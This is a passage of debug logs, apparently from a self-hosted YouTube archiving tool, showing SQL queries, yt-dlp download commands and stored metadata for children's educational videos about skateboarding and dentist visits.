skateboarding skills and beginner tricks\nβ€’ Building confidence through practice and giving things a go\n\nTopics kids will learn about in this video:\n\nβ€’ Skateboarding For Kids\nβ€’ Learn To Skateboard For Kids\nβ€’ Skateboarding Basics For Kids\nβ€’ How To Ride A Skateboard\nβ€’ Skateboard Tricks For Beginners\nβ€’ Skateboard Balance For Kids\nβ€’ Skatepark Skills For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#SkateboardingForKids #LearnToSkateboard #ShareTheStoke #OzzieForKids #EducationalVideosForKids #StayKeen", "Learn to Skateboard with Ozzie & Nomes πŸ›Ή Skateboarding for Kids | Share the Stoke", 2100, false, "8MpUQxmQ304", "https://www.youtube.com/watch?v=8MpUQxmQ304", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-16 - Learn to Skateboard with Ozzie & Nomes πŸ›Ή Skateboarding for Kids | Share the Stoke.mp4", false, 7, ~U[2026-08-16 05:00:18Z]] 13:15:06.630 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=96.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:06.631 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:06.631 [debug] QUERY OK source="media_items" db=0.3ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9738] 13:15:06.631 [debug] Current batch of media processed. Will check again in 1000ms 13:15:07.632 [debug] Current batch of media processed. Will check again in 1000ms 13:15:08.633 [debug] Current batch of media processed. Will check again in 1000ms 13:15:09.637 [debug] Current batch of media processed. Will check again in 1000ms 13:15:10.638 [debug] Current batch of media processed. Will check again in 1000ms 13:15:11.640 [debug] Current batch of media processed. Will check again in 1000ms 13:15:12.644 [debug] Current batch of media processed. Will check again in 1000ms 13:15:12.769 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/7c/93/7c9361b15c93a55b7f318a1dd0850d503b24ddd68328c9f0df25a7ce1541c1e3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:15:12.769 [debug] Running yt-dlp command for action: download 13:15:12.774 [debug] QUERY OK source="settings" db=3.9ms idle=297.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:12.777 [debug] QUERY OK source="settings" db=2.2ms queue=0.4ms idle=302.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:12.779 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=305.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:12.780 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ba/47/ba47c776a0df2da47577e86a19b0b2a1c005929afcad1e57bdad648d7bcc635b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:15:13.344 [info] {"source":"oban","duration":4278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:13.646 [debug] Current batch of media processed. Will check again in 1000ms 13:15:14.651 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "πŸ›ΉπŸ€™ Grab your skateboard and Share the Stoke with Ozzie & Nomes!\n\nSing, move and skate along with this fun Skateboarding Song for Kids as Ozzie & Nomes learn the basics of riding a skateboard. From standing on the board and finding your balance to pushing, turning, stopping and trying some awesome beginner tricks, there’s heaps to discover!\n\nGet ready to move your body, test your balance and sing along as Ozzie & Nomes hit the skatepark together.\n\nCan they master the basics and land some tricks? Grab your board and come skate with us to find out!\n\nMusic is a fun way to learn, move and build confidence. So get ready to Share the Stoke and learn how to skateboard with Ozzie & Nomes!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ How to stand and balance on a skateboard\nβ€’ How to push\nβ€’ Basic skateboarding skills and tricks\n\nTopics kids will learn about in this video:\nβ€’ skateboarding for kids\nβ€’ skateboard song for kids\nβ€’ learn to skateboard for kids\nβ€’ skateboarding basics for kids\nβ€’ skateboard tricks for beginners\nβ€’ how to ride a skateboard\nβ€’ skateboarding for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#SkateboardingForKids #LearnToSkateboard #ShareTheStoke #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 203, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-12 - Learn to Skateboard with Ozzie & Nomes πŸ›Ή Fun Skateboarding Song for Kids.mp4", "id" => "-CunfQZh-vs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-CunfQZh-vs", "playlist_index" => 7, "timestamp" => 1786568438, "title" => "Learn to Skateboard with Ozzie & Nomes πŸ›Ή Fun Skateboarding Song for Kids", "upload_date" => "20260812"} 13:15:14.652 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=177.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:15:14.653 [debug] QUERY OK source="sources" db=0.4ms idle=178.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:14.657 [debug] QUERY OK source="media_items" db=3.4ms idle=179.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-12 21:00:38Z], 7] 13:15:14.661 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=184.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["πŸ›ΉπŸ€™ Grab your skateboard and Share the Stoke with Ozzie & Nomes!\n\nSing, move and skate along with this fun Skateboarding Song for Kids as Ozzie & Nomes learn the basics of riding a skateboard. From standing on the board and finding your balance to pushing, turning, stopping and trying some awesome beginner tricks, there’s heaps to discover!\n\nGet ready to move your body, test your balance and sing along as Ozzie & Nomes hit the skatepark together.\n\nCan they master the basics and land some tricks? Grab your board and come skate with us to find out!\n\nMusic is a fun way to learn, move and build confidence. So get ready to Share the Stoke and learn how to skateboard with Ozzie & Nomes!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ How to stand and balance on a skateboard\nβ€’ How to push\nβ€’ Basic skateboarding skills and tricks\n\nTopics kids will learn about in this video:\nβ€’ skateboarding for kids\nβ€’ skateboard song for kids\nβ€’ learn to skateboard for kids\nβ€’ skateboarding basics for kids\nβ€’ skateboard tricks for beginners\nβ€’ how to ride a skateboard\nβ€’ skateboarding for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#SkateboardingForKids #LearnToSkateboard #ShareTheStoke #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Learn to Skateboard with Ozzie & Nomes πŸ›Ή Fun Skateboarding Song for Kids", "6585b22c-afc2-464a-9c47-3eadb611850d", 203, false, "-CunfQZh-vs", "https://www.youtube.com/watch?v=-CunfQZh-vs", 7, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-12 - Learn to Skateboard with Ozzie & Nomes πŸ›Ή Fun Skateboarding Song for Kids.mp4", false, false, false, 7, [], 98, ~U[2026-08-12 21:00:38Z], ~U[2026-09-03 03:15:14Z], ~U[2026-09-03 03:15:14Z], "πŸ›ΉπŸ€™ Grab your skateboard and Share the Stoke with Ozzie & Nomes!\n\nSing, move and skate along with this fun Skateboarding Song for Kids as Ozzie & Nomes learn the basics of riding a skateboard. From standing on the board and finding your balance to pushing, turning, stopping and trying some awesome beginner tricks, there’s heaps to discover!\n\nGet ready to move your body, test your balance and sing along as Ozzie & Nomes hit the skatepark together.\n\nCan they master the basics and land some tricks? Grab your board and come skate with us to find out!\n\nMusic is a fun way to learn, move and build confidence. So get ready to Share the Stoke and learn how to skateboard with Ozzie & Nomes!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ How to stand and balance on a skateboard\nβ€’ How to push\nβ€’ Basic skateboarding skills and tricks\n\nTopics kids will learn about in this video:\nβ€’ skateboarding for kids\nβ€’ skateboard song for kids\nβ€’ learn to skateboard for kids\nβ€’ skateboarding basics for kids\nβ€’ skateboard tricks for beginners\nβ€’ how to ride a skateboard\nβ€’ skateboarding for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#SkateboardingForKids #LearnToSkateboard #ShareTheStoke #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Learn to Skateboard with Ozzie & Nomes πŸ›Ή Fun Skateboarding Song for Kids", 203, false, "-CunfQZh-vs", "https://www.youtube.com/watch?v=-CunfQZh-vs", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-12 - Learn to Skateboard with Ozzie & Nomes πŸ›Ή Fun Skateboarding Song for Kids.mp4", false, 7, ~U[2026-08-12 21:00:38Z]] 13:15:14.663 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=95.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:14.663 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=10.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:14.665 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=10.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9740] 13:15:14.665 [debug] Current batch of media processed. Will check again in 1000ms 13:15:15.668 [debug] Current batch of media processed. Will check again in 1000ms 13:15:16.670 [debug] Current batch of media processed. Will check again in 1000ms 13:15:17.672 [debug] Current batch of media processed. Will check again in 1000ms 13:15:18.672 [debug] Current batch of media processed. Will check again in 1000ms 13:15:19.676 [debug] Current batch of media processed. Will check again in 1000ms 13:15:20.683 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "🦷 Get Ready for the Dentist!\n\nIs your child getting ready for their first dental visit? Join Ozzie for a fun and educational adventure that helps kids feel excited and confident about going to the dentist!\n\nIn this episode, children will:\n\nπŸͺ₯ Learn what happens during a dental check-up.\n😁 Discover why healthy teeth are so important.\n✨ Meet friendly dentists and dental tools.\n🦷 Learn how to brush and care for their teeth.\n😊 Build confidence for their first trip to the dentist.\n\nPerfect for toddlers, preschoolers and young children, this fun episode helps take the mystery out of visiting the dentist while encouraging healthy habits and big, happy smiles!\n\nπŸ‘ Don't forget to LIKE, SUBSCRIBE and Stay Keen!\n\n#DentistForKids #FirstDentistVisit #HealthyTeeth #KidsLearning #OzzieForKids #Preschool #Toddlers\n\nGrab some fun Ozzie merch on our website: https://ozzieforkids.com/merch\n\n–\n\nG'day kids, Ozzie here – Australian kid’s entertainer and creator of educational video content. Designed to entertain, excite, engage and educate, I encourage you to keep learning and 'Stay Keen'!\n\nThanks so much for watching! Make sure you SUBSCRIBE to see more fun and educational videos for kids. https://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand New Ozzie episode released every Sunday https://www.youtube.com/OzzieForKids\n\nFollow Us On Social Media \nβ€’ Instagram - https://www.instagram.com/ozzie_forkids\nβ€’ Facebook - https://www.facebook.com/ozzieforkids", "duration" => 1231, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-09 - Get Ready for the Dentist & Learn About Healthy Teeth! Prepare Kids for Their First Dental Visit.mp4", "id" => "rfVyYG-pXMo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=rfVyYG-pXMo", "playlist_index" => 8, "timestamp" => 1786251624, "title" => "Get Ready for the Dentist & Learn About Healthy Teeth! Prepare Kids for Their First Dental Visit", "upload_date" => "20260809"} 13:15:20.684 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=208.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:15:20.685 [debug] QUERY OK source="sources" db=0.6ms idle=209.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:20.690 [debug] QUERY OK source="media_items" db=3.7ms idle=210.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-09 05:00:24Z], 7] 13:15:20.694 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=215.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🦷 Get Ready for the Dentist!\n\nIs your child getting ready for their first dental visit? Join Ozzie for a fun and educational adventure that helps kids feel excited and confident about going to the dentist!\n\nIn this episode, children will:\n\nπŸͺ₯ Learn what happens during a dental check-up.\n😁 Discover why healthy teeth are so important.\n✨ Meet friendly dentists and dental tools.\n🦷 Learn how to brush and care for their teeth.\n😊 Build confidence for their first trip to the dentist.\n\nPerfect for toddlers, preschoolers and young children, this fun episode helps take the mystery out of visiting the dentist while encouraging healthy habits and big, happy smiles!\n\nπŸ‘ Don't forget to LIKE, SUBSCRIBE and Stay Keen!\n\n#DentistForKids #FirstDentistVisit #HealthyTeeth #KidsLearning #OzzieForKids #Preschool #Toddlers\n\nGrab some fun Ozzie merch on our website: https://ozzieforkids.com/merch\n\n–\n\nG'day kids, Ozzie here – Australian kid’s entertainer and creator of educational video content. Designed to entertain, excite, engage and educate, I encourage you to keep learning and 'Stay Keen'!\n\nThanks so much for watching! Make sure you SUBSCRIBE to see more fun and educational videos for kids. https://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand New Ozzie episode released every Sunday https://www.youtube.com/OzzieForKids\n\nFollow Us On Social Media \nβ€’ Instagram - https://www.instagram.com/ozzie_forkids\nβ€’ Facebook - https://www.facebook.com/ozzieforkids", "Get Ready for the Dentist & Learn About Healthy Teeth! Prepare Kids for Their First Dental Visit", "a8941fc1-c3c9-406b-89e4-0868eac78d1d", 1231, false, "rfVyYG-pXMo", "https://www.youtube.com/watch?v=rfVyYG-pXMo", 8, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-09 - Get Ready for the Dentist & Learn About Healthy Teeth! Prepare Kids for Their First Dental Visit.mp4", false, false, false, 7, [], 98, ~U[2026-08-09 05:00:24Z], ~U[2026-09-03 03:15:20Z], ~U[2026-09-03 03:15:20Z], "🦷 Get Ready for the Dentist!\n\nIs your child getting ready for their first dental visit? Join Ozzie for a fun and educational adventure that helps kids feel excited and confident about going to the dentist!\n\nIn this episode, children will:\n\nπŸͺ₯ Learn what happens during a dental check-up.\n😁 Discover why healthy teeth are so important.\n✨ Meet friendly dentists and dental tools.\n🦷 Learn how to brush and care for their teeth.\n😊 Build confidence for their first trip to the dentist.\n\nPerfect for toddlers, preschoolers and young children, this fun episode helps take the mystery out of visiting the dentist while encouraging healthy habits and big, happy smiles!\n\nπŸ‘ Don't forget to LIKE, SUBSCRIBE and Stay Keen!\n\n#DentistForKids #FirstDentistVisit #HealthyTeeth #KidsLearning #OzzieForKids #Preschool #Toddlers\n\nGrab some fun Ozzie merch on our website: https://ozzieforkids.com/merch\n\n–\n\nG'day kids, Ozzie here – Australian kid’s entertainer and creator of educational video content. Designed to entertain, excite, engage and educate, I encourage you to keep learning and 'Stay Keen'!\n\nThanks so much for watching! Make sure you SUBSCRIBE to see more fun and educational videos for kids. https://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand New Ozzie episode released every Sunday https://www.youtube.com/OzzieForKids\n\nFollow Us On Social Media \nβ€’ Instagram - https://www.instagram.com/ozzie_forkids\nβ€’ Facebook - https://www.facebook.com/ozzieforkids", "Get Ready for the Dentist & Learn About Healthy Teeth! Prepare Kids for Their First Dental Visit", 1231, false, "rfVyYG-pXMo", "https://www.youtube.com/watch?v=rfVyYG-pXMo", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-09 - Get Ready for the Dentist & Learn About Healthy Teeth! Prepare Kids for Their First Dental Visit.mp4", false, 7, ~U[2026-08-09 05:00:24Z]] 13:15:20.696 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=102.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:20.700 [debug] QUERY OK source="media_profiles" db=2.6ms queue=1.2ms idle=12.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:20.705 [debug] QUERY OK source="media_items" db=3.7ms queue=0.1ms idle=15.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS 